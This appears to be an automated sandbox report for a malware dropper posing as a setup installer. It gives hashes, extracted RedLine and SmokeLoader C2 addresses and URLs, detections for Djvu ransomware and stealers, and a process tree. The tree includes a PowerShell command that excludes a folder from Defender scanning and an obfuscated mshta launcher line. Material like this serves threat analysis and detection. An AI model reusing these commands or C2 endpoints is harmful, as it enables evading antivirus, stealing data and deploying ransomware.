Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Overview
overview
10Static
static
setup_x86_...ll.exe
windows7_x64
10setup_x86_...ll.exe
windows7_x64
10setup_x86_...ll.exe
windows7_x64
setup_x86_...ll.exe
windows7_x64
10setup_x86_...ll.exe
windows11_x64
10setup_x86_...ll.exe
windows10_x64
setup_x86_...ll.exe
windows10_x64
setup_x86_...ll.exe
windows10_x64
10setup_x86_...ll.exe
windows10_x64
10setup_x86_...ll.exe
windows10_x64
10Resubmissions
09/09/2021, 17:41
210909-v9lgtabfhq 1009/09/2021, 04:26
210909-e21nrsfee3 1008/09/2021, 21:37
210908-1gnpcsfbc9 1008/09/2021, 21:29
210908-1bx1vafbc5 1008/09/2021, 13:52
210908-q6fd6shgdj 1007/09/2021, 18:07
210907-wqa3eagcgr 10Analysis
-
max time kernel
15s -
max time network
511s -
platform
windows7_x64 -
resource
win7v20210408 -
submitted
09/09/2021, 17:41
Static task
static1
Behavioral task
behavioral1
Sample
setup_x86_x64_install.exe
Resource
win7-jp
Behavioral task
behavioral2
Sample
setup_x86_x64_install.exe
Resource
win7-fr
Behavioral task
behavioral3
Sample
setup_x86_x64_install.exe
Resource
win7v20210408
Behavioral task
behavioral4
Sample
setup_x86_x64_install.exe
Resource
win7-de
Behavioral task
behavioral5
Sample
setup_x86_x64_install.exe
Resource
win11
Behavioral task
behavioral6
Sample
setup_x86_x64_install.exe
Resource
win10v20210408
Behavioral task
behavioral7
Sample
setup_x86_x64_install.exe
Resource
win10-jp
Behavioral task
behavioral8
Sample
setup_x86_x64_install.exe
Resource
win10-fr
Behavioral task
behavioral9
Sample
setup_x86_x64_install.exe
Resource
win10-en
Errors
General
-
Target
setup_x86_x64_install.exe
-
Size
2.9MB
-
MD5
3f1f81101d0ce95fdfac97f5913cd662
-
SHA1
8e615a64e4d72b08926242b7d73a608bdd7e9fce
-
SHA256
90aa6a7c770f2c0f49596731c80fda7d044802dea9e905ff999b39cda5428407
-
SHA512
a776c1f8636ef90d294becf8d09a45366463364026837c19e13227c1c5c9a6656b6fa525e0eec5a1a46997b6ef7066e958c02523a7c4538d046f8b2091145285
Malware Config
Extracted
redline
Jayson
95.181.172.207:56915
Extracted
smokeloader
2020
http://varmisende.com/upload/
http://fernandomayol.com/upload/
http://nextlytm.com/upload/
http://people4jan.com/upload/
http://asfaltwerk.com/upload/
Signatures
-
Detected Djvu ransomeware 2 IoCs
resource yara_rule behavioral3/memory/2504-423-0x0000000000400000-0x0000000000537000-memory.dmp family_djvu behavioral3/memory/2496-421-0x00000000044E0000-0x00000000045FB000-memory.dmp family_djvu -
Djvu Ransomware
Ransomware which is a variant of the STOP family.
-
Process spawned unexpected child process 2 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 2124 1456 rundll32.exe 52 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 3740 1728 rundll32.exe 192 -
RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
-
RedLine Payload 29 IoCs
resource yara_rule behavioral3/memory/2056-191-0x0000000000400000-0x0000000000422000-memory.dmp family_redline behavioral3/memory/2056-192-0x000000000041C5E2-mapping.dmp family_redline behavioral3/memory/2136-203-0x000000000041C5E2-mapping.dmp family_redline behavioral3/memory/2304-207-0x000000000041C5E2-mapping.dmp family_redline behavioral3/memory/2356-209-0x000000000041C5E2-mapping.dmp family_redline behavioral3/memory/2412-216-0x000000000041C5E2-mapping.dmp family_redline behavioral3/memory/2500-224-0x000000000041C5E2-mapping.dmp family_redline behavioral3/memory/2600-231-0x000000000041C5E2-mapping.dmp family_redline behavioral3/memory/2680-234-0x000000000041C5E2-mapping.dmp family_redline behavioral3/memory/2720-236-0x000000000041C5E2-mapping.dmp family_redline behavioral3/memory/2800-238-0x000000000041C5E2-mapping.dmp family_redline behavioral3/memory/2844-240-0x000000000041C5E2-mapping.dmp family_redline behavioral3/memory/2884-242-0x000000000041C5E2-mapping.dmp family_redline behavioral3/memory/2920-244-0x000000000041C5E2-mapping.dmp family_redline behavioral3/memory/2956-247-0x000000000041C5E2-mapping.dmp family_redline behavioral3/memory/3000-251-0x000000000041C5E2-mapping.dmp family_redline behavioral3/memory/1536-257-0x000000000041C5E2-mapping.dmp family_redline behavioral3/memory/2172-259-0x000000000041C5E2-mapping.dmp family_redline behavioral3/memory/368-262-0x000000000041C5E2-mapping.dmp family_redline behavioral3/memory/1676-264-0x000000000041C5E2-mapping.dmp family_redline behavioral3/memory/1708-266-0x000000000041C5E2-mapping.dmp family_redline behavioral3/memory/2368-268-0x000000000041C5E2-mapping.dmp family_redline behavioral3/memory/2244-281-0x000000000041C5E2-mapping.dmp family_redline behavioral3/memory/2584-288-0x000000000041C5E2-mapping.dmp family_redline behavioral3/memory/1336-291-0x000000000041C5E2-mapping.dmp family_redline behavioral3/memory/1436-294-0x000000000041C5E2-mapping.dmp family_redline behavioral3/memory/752-296-0x000000000041C5E2-mapping.dmp family_redline behavioral3/memory/900-298-0x000000000041C5E2-mapping.dmp family_redline behavioral3/memory/1724-301-0x000000000041C5E2-mapping.dmp family_redline -
SmokeLoader
Modular backdoor trojan in use since 2014.
-
Socelars Payload 5 IoCs
resource yara_rule behavioral3/files/0x00030000000130cc-154.dat family_socelars behavioral3/files/0x00030000000130cc-151.dat family_socelars behavioral3/files/0x00030000000130cc-124.dat family_socelars behavioral3/files/0x00030000000130cc-175.dat family_socelars behavioral3/files/0x00030000000130cc-174.dat family_socelars -
resource yara_rule behavioral3/files/0x00030000000130d0-112.dat redline behavioral3/files/0x00030000000130d0-143.dat redline behavioral3/files/0x00030000000130d0-128.dat redline behavioral3/files/0x00030000000130d0-127.dat redline behavioral3/files/0x00030000000130d0-157.dat redline behavioral3/files/0x00030000000130d0-158.dat redline behavioral3/files/0x00030000000130d0-189.dat redline -
suricata: ET MALWARE Potential Dridex.Maldoc Minimal Executable Request
suricata: ET MALWARE Potential Dridex.Maldoc Minimal Executable Request
-
Vidar Stealer 1 IoCs
resource yara_rule behavioral3/memory/3768-469-0x0000000000320000-0x00000000003F2000-memory.dmp family_vidar -
resource yara_rule behavioral3/files/0x00030000000130c4-76.dat aspack_v212_v242 behavioral3/files/0x00030000000130c4-77.dat aspack_v212_v242 behavioral3/files/0x00040000000130bf-78.dat aspack_v212_v242 behavioral3/files/0x00040000000130bf-79.dat aspack_v212_v242 behavioral3/files/0x00030000000130c6-82.dat aspack_v212_v242 behavioral3/files/0x00030000000130c6-83.dat aspack_v212_v242 -
Downloads MZ/PE file
-
Executes dropped EXE 9 IoCs
pid Process 1368 setup_installer.exe 472 setup_install.exe 1664 Tue11d7385a978cc.exe 1640 Tue11141271fbe5877f.exe 864 Tue11e4e580f2e8141a3.exe 872 Tue11e4e580f2e8141a3.exe 1372 Tue1109eec571ac.exe 1072 Tue118f55232e4.exe 568 Tue11b9d76a96506.tmp -
Loads dropped DLL 37 IoCs
pid Process 1076 setup_x86_x64_install.exe 1368 setup_installer.exe 1368 setup_installer.exe 1368 setup_installer.exe 1368 setup_installer.exe 1368 setup_installer.exe 1368 setup_installer.exe 472 setup_install.exe 472 setup_install.exe 472 setup_install.exe 472 setup_install.exe 472 setup_install.exe 472 setup_install.exe 472 setup_install.exe 472 setup_install.exe 552 cmd.exe 1528 cmd.exe 1528 cmd.exe 1436 cmd.exe 1008 cmd.exe 1664 Tue11d7385a978cc.exe 1664 Tue11d7385a978cc.exe 772 cmd.exe 772 cmd.exe 484 cmd.exe 864 Tue11e4e580f2e8141a3.exe 864 Tue11e4e580f2e8141a3.exe 872 Tue11e4e580f2e8141a3.exe 872 Tue11e4e580f2e8141a3.exe 1372 Tue1109eec571ac.exe 1372 Tue1109eec571ac.exe 872 Tue11e4e580f2e8141a3.exe 1072 Tue118f55232e4.exe 1072 Tue118f55232e4.exe 568 Tue11b9d76a96506.tmp 568 Tue11b9d76a96506.tmp 568 Tue11b9d76a96506.tmp -
Modifies file permissions 1 TTPs 1 IoCs
pid Process 3836 icacls.exe -
resource yara_rule behavioral3/memory/2404-213-0x0000000001210000-0x0000000001211000-memory.dmp themida behavioral3/memory/2568-227-0x00000000003A0000-0x00000000003A1000-memory.dmp themida -
Legitimate hosting services abused for malware hosting/C2 1 TTPs
-
Looks up external IP address via web service 3 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 192 api.2ip.ua 220 api.2ip.ua 191 api.2ip.ua -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Program crash 1 IoCs
pid pid_target Process procid_target 2768 1072 WerFault.exe 40 -
Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 4048 schtasks.exe -
Kills process with taskkill 4 IoCs
pid Process 4076 taskkill.exe 3116 taskkill.exe 2216 taskkill.exe 332 taskkill.exe -
Script User-Agent 1 IoCs
Uses user-agent string associated with script host/environment.
description flow ioc HTTP User-Agent header 8 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) -
Suspicious use of AdjustPrivilegeToken 35 IoCs
description pid Process Token: SeCreateTokenPrivilege 1072 Tue118f55232e4.exe Token: SeAssignPrimaryTokenPrivilege 1072 Tue118f55232e4.exe Token: SeLockMemoryPrivilege 1072 Tue118f55232e4.exe Token: SeIncreaseQuotaPrivilege 1072 Tue118f55232e4.exe Token: SeMachineAccountPrivilege 1072 Tue118f55232e4.exe Token: SeTcbPrivilege 1072 Tue118f55232e4.exe Token: SeSecurityPrivilege 1072 Tue118f55232e4.exe Token: SeTakeOwnershipPrivilege 1072 Tue118f55232e4.exe Token: SeLoadDriverPrivilege 1072 Tue118f55232e4.exe Token: SeSystemProfilePrivilege 1072 Tue118f55232e4.exe Token: SeSystemtimePrivilege 1072 Tue118f55232e4.exe Token: SeProfSingleProcessPrivilege 1072 Tue118f55232e4.exe Token: SeIncBasePriorityPrivilege 1072 Tue118f55232e4.exe Token: SeCreatePagefilePrivilege 1072 Tue118f55232e4.exe Token: SeCreatePermanentPrivilege 1072 Tue118f55232e4.exe Token: SeBackupPrivilege 1072 Tue118f55232e4.exe Token: SeRestorePrivilege 1072 Tue118f55232e4.exe Token: SeShutdownPrivilege 1072 Tue118f55232e4.exe Token: SeDebugPrivilege 1072 Tue118f55232e4.exe Token: SeAuditPrivilege 1072 Tue118f55232e4.exe Token: SeSystemEnvironmentPrivilege 1072 Tue118f55232e4.exe Token: SeChangeNotifyPrivilege 1072 Tue118f55232e4.exe Token: SeRemoteShutdownPrivilege 1072 Tue118f55232e4.exe Token: SeUndockPrivilege 1072 Tue118f55232e4.exe Token: SeSyncAgentPrivilege 1072 Tue118f55232e4.exe Token: SeEnableDelegationPrivilege 1072 Tue118f55232e4.exe Token: SeManageVolumePrivilege 1072 Tue118f55232e4.exe Token: SeImpersonatePrivilege 1072 Tue118f55232e4.exe Token: SeCreateGlobalPrivilege 1072 Tue118f55232e4.exe Token: 31 1072 Tue118f55232e4.exe Token: 32 1072 Tue118f55232e4.exe Token: 33 1072 Tue118f55232e4.exe Token: 34 1072 Tue118f55232e4.exe Token: 35 1072 Tue118f55232e4.exe Token: SeDebugPrivilege 1640 Tue11141271fbe5877f.exe -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 1076 wrote to memory of 1368 1076 setup_x86_x64_install.exe 29 PID 1076 wrote to memory of 1368 1076 setup_x86_x64_install.exe 29 PID 1076 wrote to memory of 1368 1076 setup_x86_x64_install.exe 29 PID 1076 wrote to memory of 1368 1076 setup_x86_x64_install.exe 29 PID 1076 wrote to memory of 1368 1076 setup_x86_x64_install.exe 29 PID 1076 wrote to memory of 1368 1076 setup_x86_x64_install.exe 29 PID 1076 wrote to memory of 1368 1076 setup_x86_x64_install.exe 29 PID 1368 wrote to memory of 472 1368 setup_installer.exe 30 PID 1368 wrote to memory of 472 1368 setup_installer.exe 30 PID 1368 wrote to memory of 472 1368 setup_installer.exe 30 PID 1368 wrote to memory of 472 1368 setup_installer.exe 30 PID 1368 wrote to memory of 472 1368 setup_installer.exe 30 PID 1368 wrote to memory of 472 1368 setup_installer.exe 30 PID 1368 wrote to memory of 472 1368 setup_installer.exe 30 PID 472 wrote to memory of 1100 472 setup_install.exe 32 PID 472 wrote to memory of 1100 472 setup_install.exe 32 PID 472 wrote to memory of 1100 472 setup_install.exe 32 PID 472 wrote to memory of 1100 472 setup_install.exe 32 PID 472 wrote to memory of 1100 472 setup_install.exe 32 PID 472 wrote to memory of 1100 472 setup_install.exe 32 PID 472 wrote to memory of 1100 472 setup_install.exe 32 PID 472 wrote to memory of 552 472 setup_install.exe 33 PID 472 wrote to memory of 552 472 setup_install.exe 33 PID 472 wrote to memory of 552 472 setup_install.exe 33 PID 472 wrote to memory of 552 472 setup_install.exe 33 PID 472 wrote to memory of 552 472 setup_install.exe 33 PID 472 wrote to memory of 552 472 setup_install.exe 33 PID 472 wrote to memory of 552 472 setup_install.exe 33 PID 472 wrote to memory of 1008 472 setup_install.exe 34 PID 472 wrote to memory of 1008 472 setup_install.exe 34 PID 472 wrote to memory of 1008 472 setup_install.exe 34 PID 472 wrote to memory of 1008 472 setup_install.exe 34 PID 472 wrote to memory of 1008 472 setup_install.exe 34 PID 472 wrote to memory of 1008 472 setup_install.exe 34 PID 472 wrote to memory of 1008 472 setup_install.exe 34 PID 472 wrote to memory of 1612 472 setup_install.exe 35 PID 472 wrote to memory of 1612 472 setup_install.exe 35 PID 472 wrote to memory of 1612 472 setup_install.exe 35 PID 472 wrote to memory of 1612 472 setup_install.exe 35 PID 472 wrote to memory of 1612 472 setup_install.exe 35 PID 472 wrote to memory of 1612 472 setup_install.exe 35 PID 472 wrote to memory of 1612 472 setup_install.exe 35 PID 472 wrote to memory of 772 472 setup_install.exe 36 PID 472 wrote to memory of 772 472 setup_install.exe 36 PID 472 wrote to memory of 772 472 setup_install.exe 36 PID 472 wrote to memory of 772 472 setup_install.exe 36 PID 472 wrote to memory of 772 472 setup_install.exe 36 PID 472 wrote to memory of 772 472 setup_install.exe 36 PID 472 wrote to memory of 772 472 setup_install.exe 36 PID 472 wrote to memory of 920 472 setup_install.exe 37 PID 472 wrote to memory of 920 472 setup_install.exe 37 PID 472 wrote to memory of 920 472 setup_install.exe 37 PID 472 wrote to memory of 920 472 setup_install.exe 37 PID 472 wrote to memory of 920 472 setup_install.exe 37 PID 472 wrote to memory of 920 472 setup_install.exe 37 PID 472 wrote to memory of 920 472 setup_install.exe 37 PID 472 wrote to memory of 1528 472 setup_install.exe 48 PID 472 wrote to memory of 1528 472 setup_install.exe 48 PID 472 wrote to memory of 1528 472 setup_install.exe 48 PID 472 wrote to memory of 1528 472 setup_install.exe 48 PID 472 wrote to memory of 1528 472 setup_install.exe 48 PID 472 wrote to memory of 1528 472 setup_install.exe 48 PID 472 wrote to memory of 1528 472 setup_install.exe 48 PID 1100 wrote to memory of 980 1100 cmd.exe 47
Processes
-
C:\Users\Admin\AppData\Local\Temp\setup_x86_x64_install.exe"C:\Users\Admin\AppData\Local\Temp\setup_x86_x64_install.exe"1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1076 -
C:\Users\Admin\AppData\Local\Temp\setup_installer.exe"C:\Users\Admin\AppData\Local\Temp\setup_installer.exe"2⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1368 -
C:\Users\Admin\AppData\Local\Temp\7zS85516C05\setup_install.exe"C:\Users\Admin\AppData\Local\Temp\7zS85516C05\setup_install.exe"3⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:472 -
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"4⤵
- Suspicious use of WriteProcessMemory
PID:1100 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"5⤵PID:980
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Tue11d7385a978cc.exe4⤵
- Loads dropped DLL
PID:552 -
C:\Users\Admin\AppData\Local\Temp\7zS85516C05\Tue11d7385a978cc.exeTue11d7385a978cc.exe5⤵
- Executes dropped EXE
- Loads dropped DLL
PID:1664
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Tue11b9d76a96506.exe4⤵
- Loads dropped DLL
PID:1008 -
C:\Users\Admin\AppData\Local\Temp\7zS85516C05\Tue11b9d76a96506.exeTue11b9d76a96506.exe5⤵PID:872
-
C:\Users\Admin\AppData\Local\Temp\is-H945E.tmp\Tue11b9d76a96506.tmp"C:\Users\Admin\AppData\Local\Temp\is-H945E.tmp\Tue11b9d76a96506.tmp" /SL5="$50130,506086,422400,C:\Users\Admin\AppData\Local\Temp\7zS85516C05\Tue11b9d76a96506.exe"6⤵
- Executes dropped EXE
- Loads dropped DLL
PID:568 -
C:\Users\Admin\AppData\Local\Temp\is-J5F69.tmp\46807GHF____.exe"C:\Users\Admin\AppData\Local\Temp\is-J5F69.tmp\46807GHF____.exe" /S /UID=burnerch27⤵PID:2084
-
C:\Program Files\Windows Sidebar\VUUCCQLXAK\ultramediaburner.exe"C:\Program Files\Windows Sidebar\VUUCCQLXAK\ultramediaburner.exe" /VERYSILENT8⤵PID:2200
-
-
C:\Users\Admin\AppData\Local\Temp\f6-20348-1cd-ee1ba-b1f81bd1ddda5\Vokinapimu.exe"C:\Users\Admin\AppData\Local\Temp\f6-20348-1cd-ee1ba-b1f81bd1ddda5\Vokinapimu.exe"8⤵PID:992
-
C:\Program Files\Internet Explorer\iexplore.exe"C:\Program Files\Internet Explorer\iexplore.exe" https://www.profitabletrustednetwork.com/e2q8zu9hu?key=a971bbe4a40a7216a1a87d8f455f71e69⤵PID:800
-
C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE"C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:800 CREDAT:275457 /prefetch:210⤵PID:3032
-
-
C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE"C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:800 CREDAT:2307082 /prefetch:210⤵PID:2460
-
-
-
C:\Program Files\Internet Explorer\iexplore.exe"C:\Program Files\Internet Explorer\iexplore.exe" https://www.profitabletrustednetwork.com/b1fsmdd9m?key=7e872dab99d78bffc4aa0c1e6b062dad9⤵PID:1600
-
C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE"C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:1600 CREDAT:275457 /prefetch:210⤵PID:2564
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\02-9734a-825-cb184-bf8690974a09c\Ridilawalo.exe"C:\Users\Admin\AppData\Local\Temp\02-9734a-825-cb184-bf8690974a09c\Ridilawalo.exe"8⤵PID:2468
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\030fxajt.vwv\GcleanerEU.exe /eufive & exit9⤵PID:2192
-
C:\Users\Admin\AppData\Local\Temp\030fxajt.vwv\GcleanerEU.exeC:\Users\Admin\AppData\Local\Temp\030fxajt.vwv\GcleanerEU.exe /eufive10⤵PID:3148
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /im "GcleanerEU.exe" /f & erase "C:\Users\Admin\AppData\Local\Temp\030fxajt.vwv\GcleanerEU.exe" & exit11⤵PID:4032
-
C:\Windows\SysWOW64\taskkill.exetaskkill /im "GcleanerEU.exe" /f12⤵
- Kills process with taskkill
PID:4076
-
-
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\cxsg1q2r.auq\installer.exe /qn CAMPAIGN="654" & exit9⤵PID:3252
-
C:\Users\Admin\AppData\Local\Temp\cxsg1q2r.auq\installer.exeC:\Users\Admin\AppData\Local\Temp\cxsg1q2r.auq\installer.exe /qn CAMPAIGN="654"10⤵PID:3308
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\xyhapge4.q41\anyname.exe & exit9⤵PID:3388
-
C:\Users\Admin\AppData\Local\Temp\xyhapge4.q41\anyname.exeC:\Users\Admin\AppData\Local\Temp\xyhapge4.q41\anyname.exe10⤵PID:3428
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\nsledokr.i4b\gcleaner.exe /mixfive & exit9⤵PID:3728
-
C:\Users\Admin\AppData\Local\Temp\nsledokr.i4b\gcleaner.exeC:\Users\Admin\AppData\Local\Temp\nsledokr.i4b\gcleaner.exe /mixfive10⤵PID:3792
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /im "gcleaner.exe" /f & erase "C:\Users\Admin\AppData\Local\Temp\nsledokr.i4b\gcleaner.exe" & exit11⤵PID:3856
-
C:\Windows\SysWOW64\taskkill.exetaskkill /im "gcleaner.exe" /f12⤵
- Kills process with taskkill
PID:3116
-
-
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\vwgmtzdp.xds\autosubplayer.exe /S & exit9⤵PID:3888
-
-
-
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Tue11f251db82fb7b.exe4⤵PID:1612
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Tue1109eec571ac.exe /mixone4⤵
- Loads dropped DLL
PID:772 -
C:\Users\Admin\AppData\Local\Temp\7zS85516C05\Tue1109eec571ac.exeTue1109eec571ac.exe /mixone5⤵
- Executes dropped EXE
- Loads dropped DLL
PID:1372 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /im "Tue1109eec571ac.exe" /f & erase "C:\Users\Admin\AppData\Local\Temp\7zS85516C05\Tue1109eec571ac.exe" & exit6⤵PID:2176
-
C:\Windows\SysWOW64\taskkill.exetaskkill /im "Tue1109eec571ac.exe" /f7⤵
- Kills process with taskkill
PID:2216
-
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Tue11bc0507b56295.exe4⤵PID:920
-
C:\Users\Admin\AppData\Local\Temp\7zS85516C05\Tue11bc0507b56295.exeTue11bc0507b56295.exe5⤵PID:1344
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Tue11141271fbe5877f.exe4⤵
- Loads dropped DLL
PID:1436 -
C:\Users\Admin\AppData\Local\Temp\7zS85516C05\Tue11141271fbe5877f.exeTue11141271fbe5877f.exe5⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:1640 -
C:\ProgramData\2966525.exe"C:\ProgramData\2966525.exe"6⤵PID:2232
-
-
C:\ProgramData\6847853.exe"C:\ProgramData\6847853.exe"6⤵PID:2288
-
C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe"C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe"7⤵PID:2672
-
-
-
C:\ProgramData\7716322.exe"C:\ProgramData\7716322.exe"6⤵PID:2404
-
-
C:\ProgramData\8169185.exe"C:\ProgramData\8169185.exe"6⤵PID:2480
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" vBSCRIPT: cLOsE(creatEoBjECT ( "wScRiPt.shELl"). RuN ("CMD /c TypE ""C:\ProgramData\8169185.exe"" > gZ9~4qZ~O.EXE&& StarT GZ9~4QZ~O.EXe -P6_oIH__Ioj5q & if """" =="""" for %B iN ( ""C:\ProgramData\8169185.exe"" ) do taskkill /Im ""%~NxB"" /F " ,0 , tRUe) )7⤵PID:2524
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c TypE "C:\ProgramData\8169185.exe"> gZ9~4qZ~O.EXE&& StarT GZ9~4QZ~O.EXe -P6_oIH__Ioj5q & if "" =="" for %B iN ( "C:\ProgramData\8169185.exe" ) do taskkill /Im "%~NxB" /F8⤵PID:3024
-
C:\Users\Admin\AppData\Local\Temp\gZ9~4qZ~O.EXEGZ9~4QZ~O.EXe -P6_oIH__Ioj5q9⤵PID:2108
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /Im "8169185.exe" /F9⤵
- Kills process with taskkill
PID:332
-
-
-
-
-
C:\ProgramData\6108778.exe"C:\ProgramData\6108778.exe"6⤵PID:2568
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Tue112c483dd3245d.exe4⤵PID:1616
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Tue118f55232e4.exe4⤵
- Loads dropped DLL
PID:484
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Tue11e4e580f2e8141a3.exe4⤵
- Loads dropped DLL
PID:1528
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\7zS85516C05\Tue118f55232e4.exeTue118f55232e4.exe1⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of AdjustPrivilegeToken
PID:1072 -
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 1072 -s 13722⤵
- Program crash
PID:2768
-
-
C:\Users\Admin\AppData\Local\Temp\7zS85516C05\Tue11e4e580f2e8141a3.exeTue11e4e580f2e8141a3.exe1⤵
- Executes dropped EXE
- Loads dropped DLL
PID:864 -
C:\Users\Admin\AppData\Local\Temp\7zS85516C05\Tue11e4e580f2e8141a3.exeC:\Users\Admin\AppData\Local\Temp\7zS85516C05\Tue11e4e580f2e8141a3.exe2⤵PID:2056
-
-
C:\Users\Admin\AppData\Local\Temp\7zS85516C05\Tue11e4e580f2e8141a3.exeC:\Users\Admin\AppData\Local\Temp\7zS85516C05\Tue11e4e580f2e8141a3.exe2⤵PID:2136
-
-
C:\Users\Admin\AppData\Local\Temp\7zS85516C05\Tue11e4e580f2e8141a3.exeC:\Users\Admin\AppData\Local\Temp\7zS85516C05\Tue11e4e580f2e8141a3.exe2⤵PID:2304
-
-
C:\Users\Admin\AppData\Local\Temp\7zS85516C05\Tue11e4e580f2e8141a3.exeC:\Users\Admin\AppData\Local\Temp\7zS85516C05\Tue11e4e580f2e8141a3.exe2⤵PID:2356
-
-
C:\Users\Admin\AppData\Local\Temp\7zS85516C05\Tue11e4e580f2e8141a3.exeC:\Users\Admin\AppData\Local\Temp\7zS85516C05\Tue11e4e580f2e8141a3.exe2⤵PID:2412
-
-
C:\Users\Admin\AppData\Local\Temp\7zS85516C05\Tue11e4e580f2e8141a3.exeC:\Users\Admin\AppData\Local\Temp\7zS85516C05\Tue11e4e580f2e8141a3.exe2⤵PID:2500
-
-
C:\Users\Admin\AppData\Local\Temp\7zS85516C05\Tue11e4e580f2e8141a3.exeC:\Users\Admin\AppData\Local\Temp\7zS85516C05\Tue11e4e580f2e8141a3.exe2⤵PID:2600
-
-
C:\Users\Admin\AppData\Local\Temp\7zS85516C05\Tue11e4e580f2e8141a3.exeC:\Users\Admin\AppData\Local\Temp\7zS85516C05\Tue11e4e580f2e8141a3.exe2⤵PID:2680
-
-
C:\Users\Admin\AppData\Local\Temp\7zS85516C05\Tue11e4e580f2e8141a3.exeC:\Users\Admin\AppData\Local\Temp\7zS85516C05\Tue11e4e580f2e8141a3.exe2⤵PID:2720
-
-
C:\Users\Admin\AppData\Local\Temp\7zS85516C05\Tue11e4e580f2e8141a3.exeC:\Users\Admin\AppData\Local\Temp\7zS85516C05\Tue11e4e580f2e8141a3.exe2⤵PID:2800
-
-
C:\Users\Admin\AppData\Local\Temp\7zS85516C05\Tue11e4e580f2e8141a3.exeC:\Users\Admin\AppData\Local\Temp\7zS85516C05\Tue11e4e580f2e8141a3.exe2⤵PID:2844
-
-
C:\Users\Admin\AppData\Local\Temp\7zS85516C05\Tue11e4e580f2e8141a3.exeC:\Users\Admin\AppData\Local\Temp\7zS85516C05\Tue11e4e580f2e8141a3.exe2⤵PID:2884
-
-
C:\Users\Admin\AppData\Local\Temp\7zS85516C05\Tue11e4e580f2e8141a3.exeC:\Users\Admin\AppData\Local\Temp\7zS85516C05\Tue11e4e580f2e8141a3.exe2⤵PID:2920
-
-
C:\Users\Admin\AppData\Local\Temp\7zS85516C05\Tue11e4e580f2e8141a3.exeC:\Users\Admin\AppData\Local\Temp\7zS85516C05\Tue11e4e580f2e8141a3.exe2⤵PID:2956
-
-
C:\Users\Admin\AppData\Local\Temp\7zS85516C05\Tue11e4e580f2e8141a3.exeC:\Users\Admin\AppData\Local\Temp\7zS85516C05\Tue11e4e580f2e8141a3.exe2⤵PID:3000
-
-
C:\Users\Admin\AppData\Local\Temp\7zS85516C05\Tue11e4e580f2e8141a3.exeC:\Users\Admin\AppData\Local\Temp\7zS85516C05\Tue11e4e580f2e8141a3.exe2⤵PID:1536
-
-
C:\Users\Admin\AppData\Local\Temp\7zS85516C05\Tue11e4e580f2e8141a3.exeC:\Users\Admin\AppData\Local\Temp\7zS85516C05\Tue11e4e580f2e8141a3.exe2⤵PID:2172
-
-
